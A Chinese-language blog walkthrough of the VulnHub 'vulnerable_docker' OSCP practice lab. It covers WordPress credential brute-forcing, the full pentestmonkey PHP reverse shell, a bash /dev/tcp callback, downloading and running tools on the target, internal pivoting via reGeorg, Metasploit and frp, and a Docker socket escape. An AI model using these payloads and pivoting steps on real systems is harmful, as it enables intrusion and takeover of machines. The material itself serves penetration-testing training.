vulnerable_docker，3种代理方法打入内网，frpmsfreGeorg

02589

【oscp】vulnerable_docker，3种代理方法打入内网，frp/msf/reGeorg

该项目是NotSoSecure作者精心制作的项目环境，目标是获取获得root权限并找到flag.txt文本信息，该项目作为OSCP考试培训必打的一个项目环境，该作者评定该环境为渗透中级水准难度。接下来不管是零基础学习渗透者，还是有些基础的渗透者，甚至是高水平的渗透人员读该的技巧和文章都能学习到一些红队知识。——freebuf：YLion

下载链接：https://download.vulnhub.com/vulnerabledocker/vulnerable_docker_containement.ova

信息收集

利用arp-scan进行主机发现

arp-scan -l

image-20250127185602441

端口SYN全端口扫描，并指定好速率为4

nmap -sS 10.10.10.129 -T4 -p-

image-20250127185524931

只开放了8000端口，并没有80端口

image-20250127185646725

这里用kali自带的密码字典，爆破时间较长，可以用开源的一个项目的字典

git clone https://github.com/danielmiessler/SecLists

利用wpscan进行用户枚举，和后台密码爆破，只有一个bob用户

wpscan --url http://10.10.10.129:8000/ -e u -P darkweb2017-top10000.txt

爆破结果为用户：bob，密码：Welcome1

image-20250130205248340

写入kali自带的反弹shell，payload，内容如下

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.10.128';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
        // Fork and have the parent process exit
        $pid = pcntl_fork();

        if ($pid == -1) {
                printit("ERROR: Can't fork");
                exit(1);
        }

        if ($pid) {
                exit(0);  // Parent exits
        }

        // Make the current process a session leader
        // Will only succeed if we forked
        if (posix_setsid() == -1) {
                printit("Error: Can't setsid()");
                exit(1);
        }

        $daemon = 1;
} else {
        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
        printit("$errstr ($errno)");
        exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
        // Check for end of TCP connection
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break;
        }

        // Check for end of STDOUT
        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break;
        }

        // Wait until a command is end down $sock, or some
        // command output is available on STDOUT or STDERR
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        // If we can read from the TCP socket, send
        // data to process's STDIN
        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }

        // If we can read from the process's STDOUT
        // send data down tcp connection
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }

        // If we can read from the process's STDERR
        // send data down tcp connection
        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
        if (!$daemon) {
                print "$stringn";
        }
}

?>

image-20250130205452951

此时kali开启监听

nc -lvnp 1234

web访问一个不存在的url

http://10.10.10.129:8000/2017/08/19/hello-world111111111111/

image-20250130205825718

创建交互式终端（这个环境没有python）

python2 -c 'import pty; pty.spawn("/bin/bash")'

image-20250130210225970

内网渗透

那么就直接信息收集吧，wordpress的站点，必存在数据交互，找数据库密码

cd /var/www/html/
cat wp-config.php

image-20250130210447294

用户名为：wordpress，密码：WordPressISBest，但是当前shell找不到mysql命令，看来是限制了shell的命令输入

image-20250130210614240

这里是需要用到一个工具socat来创建交互式终端

# kali
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat
nc -lvnp 1234

# 靶机
curl -O 10.10.10.128:443/socat
chmod +x socat
./socat tcp:10.10.10.128:1234 exec:'/bin/bash -li',pty,stderr,sigint,sighup,sigquit,sane

这样就创建成功了

image-20250131002911133

系统信息收集

$ uname -a
Linux 8f4bca8ef241 3.13.0-128-generic #177-Ubuntu SMP Tue Aug 8 11:40:23 UTC 2017 x86_64 GNU/Linux
$ lsb_release -a
/bin/sh: 32: lsb_release: not found
$ cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 8 (jessie)"
NAME="Debian GNU/Linux"
VERSION_ID="8"
VERSION="8 (jessie)"
ID=debian
HOME_URL="http://www.debian.org/"
SUPPORT_URL="http://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

ip信息收集

image-20250131004538616

本地IP信息探测，一共4个地址

for i in {1..254}; do (ping -c 1 172.18.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;

image-20250131004701548

将扫描的的IP信息全部填到hosts变量，写入端口扫描脚本，到kali里面

#!/bin/bash

hosts=(

"172.18.0.1"

"172.18.0.2"

"172.18.0.3"

"172.18.0.4"

)

END=65535

for host in "${hosts[@]}"

do

echo "==============================="

echo "Scanning $host"

echo "==============================="

for ((port=1;port<=END;port++))

do

echo "" > /dev/tcp/$host/$port && echo "Port $port is open"

done 2>/dev/null

done

靶机下载

# 靶机
curl 10.10.10.128:443/ports_scan_script.sh -O
chmod +x ports_scan_script.sh
./ports_scan_script.sh

image-20250131140924918

响应探测

curl 172.18.0.3:8022

image-20250131141232319

curl 172.18.0.4

image-20250131141609224

上图可以看到网页标题基本一模一样，那么就可以断定这是容器内的ip，用docker做了端口转发而已，那么我们可以利用的只有两个ip地址了，分别是.2和.3

image-20250131141753458

由于靶机没有mysql

image-20250131141827847

docker也没有

image-20250131145338522

代理1：reGeorg代理之路

这就需要用到———reGeorg代理之路

# kali
curl -o tunnel.php https://raw.githubusercontent.com/sensepost/reGeorg/master/tunnel.nosocket.php
python -m http.server 443

# 靶机
cd /var/www/html
curl -O 10.10.10.128:443/tunnel.php

然后访问靶机

http://10.10.10.129:8000/tunnel.php

image-20250131153614619

Georg says, ‘All seems fine’ 一切似乎都很好，kali攻击机执行如下命令

python2 reGeorgSocksProxy.py -u http://10.10.10.129:8000/tunnel.php

image-20250131170234271

并修改代理工具proxychains配置文件

vi /etc/proxychains4.conf

image-20250131163332227

这里代理成功了，能够正常访问靶机内网了这是第一个可以利用的内网ip

image-20250131165328986

我们先从第二个利用点开始，利用代理连接本地的mysql，这里会出现一个问题，连接远程数据库的时候

proxychains mysql -uwordpress -pWordPressISBest -h 172.18.0.2

# ERROR 2026 (HY000): TLS/SSL error: unable to get local issuer certificate

image-20250131170158225

通常有两种解决方法在旧版本的mysql中 使用 –skip-ssl，如果是比较高的版本就是–ssl-mode=DISABLED

proxychains mysql -uwordpress -pWordPressISBest -h 172.18.0.2 --skip-ssl
proxychains mysql -uwordpress -pWordPressISBest -h 172.18.0.2 --ssl-mode=DISABLED

image-20250131172020046

但是mysql用户表里面只有一个用户，并且这个密码我们已经知道了

image-20250131171918720

切换思路，利用那个web界面的ip，.3

proxychains nmap -sT -sV 172.18.0.3 -p8022 -T4 -Pn

image-20250131173533332

可以看到是一个node项目，重新启动一个代理服务器，用kali的地址

python2 reGeorgSocksProxy.py -u http://10.10.10.129:8000/tunnel.php -l 10.10.10.128

修改代理配置

vi /etc/proxychains4.conf

image-20250131174119157

打开浏览器，利用这个代理插件，添加一个代理

image-20250131174333026

访问

http://172.18.0.3:8022/

image-20250131174413433

开始反弹shell

/bin/bash -i >& /dev/tcp/10.10.10.128/1234 0>&1

image-20250131184534227

然后就要开始docker逃逸了，当前docker容器客户端，通过docker.sock文件可以直接访问到对应的容器内部

对应的学习文章：https://www.secpulse.com/archives/55928.html

image-20250201235258546

要进行docker逃逸，但是没有docker命令。。。。。。我们需要安装一个

image-20250131191102105

通过uname -a可以看到系统信息为ubuntu系统，再查看版本信息，为14.04

cat /proc/version

image-20250131191436826

普通的安装不太行，我们需要换源

deb http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse

deb http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse

deb http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse

deb http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse

deb http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse

deb-src http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse

deb-src http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse

deb-src http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse

deb-src http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse

deb-src http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse

利用echo命令将上面的源重定向/etc/apt/sources.list

echo '源' > /etc/apt/sources.list
apt-get update
apt-get install docker.io

image-20250131192051845

然后执行如下命令，会报一个错误，cannot enable tty mode on non tty input，不能在非tty输入上启用tty模式，也就是这个终端不是交互式终端，需要创建一个交互式终端，也可以直接返回到网页上进行操作

docker run --rm -it -v /:/tmp/1/ wordpress /bin/bash

image-20250131193025486

我们返回网页，一切正常

docker run --rm -it -v /:/tmp/1/ wordpress /bin/bash
cd /tmp/1
cat flag_3

image-20250131192845064

Docker学习与remote API未授权访问分析和利用：https://www.secpulse.com/archives/55928.html

代理二：MSF

利用msf的监听，并对ip和端口进行修改

use exploit/multi/handler
set lhost 10.10.10.128
set lport 1234
run -j # 将这个监听程序放到后台执行，上线了就会生成会话

image-20250131213826914

新建一个终端，查看是否在监听中

netstat -tulnp

image-20250131214228960

访问修改的木马文件

http://10.10.10.129:8000/2017/08/19/hello-world1111111111111111/

进入到已经上线的会话1

sessions -i  # 显示所有已经上线的会话
sessions 1 # 进入第一个会话

image-20250131214139851

但是这个会话并不是稳定的shell（不是交互式终端），我们可以利用msf创建交互式终端

use post/multi/manage/shell_to_meterpreter
set session 2
run

image-20250131214819869

查看网卡信息

ipconfig 或者 ifconfig # msf命令不是系统命令

image-20250131215105249

查看路由信息 route

image-20250131215234622

添加路由表

run autoroute -s 172.18.0.0/24

查看路由表情况

run autoroute -p

image-20250131215537051

退出当前会话 bg 即 background 不会导致shell断开，开始配置路由

use post/multi/manage/autoroute
set SUBNET 172.18.0.0  # 你刚刚看到的路由情况填到这里
set session 3
run

进行内网探测（ip存活数量）

use auxiliary/scanner/portscan/tcp
set session 3
set rhosts 172.18.0.0/24
run

image-20250131221237365

开启socks4a proxy代理：

use auxiliary/server/socks_proxy
set SRVPORT 1090
set session 2
run

image-20250201150318431

shi用netstat -tulnp查看断开占用情况

netstat -tulnp

image-20250201150346123

设置好代理后就需要修改代理文件（这里修改的是kali的nat网卡的ip，而不是127.0.0.1为的就是方便windows机器连接这个代理，从而能使用浏览器访问靶机内网）

vi /etc/proxychains4.conf
socks5 10.10.10.128 1090

image-20250201150557651

成功进入内网

image-20250201150651020

代理三：frp

frp利用工具

wget https://github.com/fatedier/frp/releases/download/v0.22.0/frp_0.22.0_linux_amd64.tar.gz

frpc.ini

[common]
server_addr = 192.168.27.195
server_port = 7000

[http_proxy]
type = tcp
remote_port = 7777
plugin = socks5

frps.ini

[common]
bind_port = 7000
bind_addr = 0.0.0.0

image-20250201232526346

随后准备上传到靶机上

# kali
python -m http.server 443

# 靶机
cd /tmp
curl -O 10.10.10.128:443/frpc 
curl -O 10.10.10.128:443/frpc.ini
chmod +x frpc

# kali
./frps -c frps.ini

# 靶机
./frpc -c frpc.ini

注：如果靶机出现如下问题

image-20250201234039794

那么就需要在frps.ini中添加如下内容，此时就能代理成功了，原因： frp 客户端和服务器的系统时间相差过大，导致身份验证超时。

authentication_timeout = 0

image-20250201234130115

修改代理工具proxychains4

vi /etc/proxychains4.conf

image-20250201234304555

成功进入内网

image-20250201234456473

如果需要浏览器访问的话，前面已经演示过了，这里再演示一遍，打开代理插件，选择连接即可，输入kali的代理地址和端口

image-20250201234632657

image-20250201234722415

学习于：https://www.freebuf.com/vuls/347867.html，文章写的很好，可以参考参考，这里还有CS上线的方法，默认CS只能上线windows，但是这里用了插件，能上线linux。

往期推荐

【oscp】超长攻击链，TommyBoy1dot0——过年快乐！

一分钟搭建本地大模型DeepSeek！永久免费！无需联网！一条命令即可搭建！

【oscp】IMF缓冲区提权靶机渗透

【oscp】稀有靶机-Readme

【RCE剖析】从0-1讲解RCE漏洞绕过，Windows与Linux/RCE漏洞绕过方式总结

SQL注入绕过某狗的waf防火墙，这一篇就够了，6k文案超详细

从零开始学SQL注入（sql十大注入类型）：技术解析与实战演练

【渗透测试】DC1~9(全) Linux提权靶机渗透教程，干货w字解析，建议收藏

【oscp】tar、zip命令提权—zico2

本站内容部分转载于互联网，并不代表本站立场！如若本站内容侵犯了原著者的合法权益，可联系我们进行处理！ 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论！
THE END
OSCP打靶泷羽收录
喜欢就支持一下吧
点赞9 分享
小北的头像-泷羽Sec
windows渗透操作系统-泷羽Sec
windows渗透操作系统
windows渗透操作系统
4天前 427
2024 最新 Kali Linux 定制化魔改，完整版添加常见60渗透工具-泷羽Sec
2024 最新 Kali Linux 定制化魔改，完整版添加常见60渗透工具
2024 最新 Kali Linux 定制化魔改，完整版添加常见60渗透工具
4天前 412
比kali更稳定，工具更多，更加适合开发的操作系统blackarch-泷羽Sec
比kali更稳定，工具更多，更加适合开发的操作系统blackarch
比kali更稳定，工具更多，更加适合开发的操作系统blackarch
4天前 410
【渗透工具箱】灵兔宝盒-Rabbit_Treasure_Box_V1.0.1-泷羽Sec
【渗透工具箱】灵兔宝盒-Rabbit_Treasure_Box_V1.0.1
【渗透工具箱】灵兔宝盒-Rabbit_Treasure_Box_V1.0.1
4天前 408
某cms的渗透测试过程-泷羽Sec
某cms的渗透测试过程
某cms的渗透测试过程
4天前 396
XSS高级用法，SEO，挂ma，MS14_064利用-泷羽Sec
XSS高级用法，SEO，挂ma，MS14_064利用
XSS高级用法，SEO，挂ma，MS14_064利用
4天前 395
相关推荐
评论 抢沙发
头像
欢迎您留下宝贵的见解！
提交
头像

昵称

取消
昵称

请填写用户信息：

  • 昵称(必填)
  • 邮箱(必填)
表情
[aoman][baiyan][bishi][bizui][cahan][ciya][dabing][daku][deyi][doge][fadai][fanu][fendou][ganga][guzhang][haixiu][hanxiao][zuohengheng][zhuakuang][zhouma][zhemo][zhayanjian][zaijian][yun][youhengheng][yiwen][yinxian][xu][xieyanxiao][xiaoku][xiaojiujie][xia][wunai][wozuimei][weixiao][weiqu][tuosai][tu][touxiao][tiaopi][shui][se][saorao][qiudale][qinqin][qiaoda][piezui][penxue][nanguo][liulei][liuhan][lenghan][leiben][kun][kuaikule][ku][koubi][kelian][keai][jingya][jingxi][jingkong][jie][huaixiao][haqian][aini][OK][qiang][quantou][shengli][woshou][gouyin][baoquan][aixin][bangbangtang][xiaoyanger][xigua][hexie][pijiu][lanqiu][juhua][hecai][haobang][caidao][baojin][chi][dan][kulou][shuai][shouqiang][yangtuo][youling]
代码

请输入代码：

确认
图片

    暂无评论内容

OSCP介绍-泷羽Sec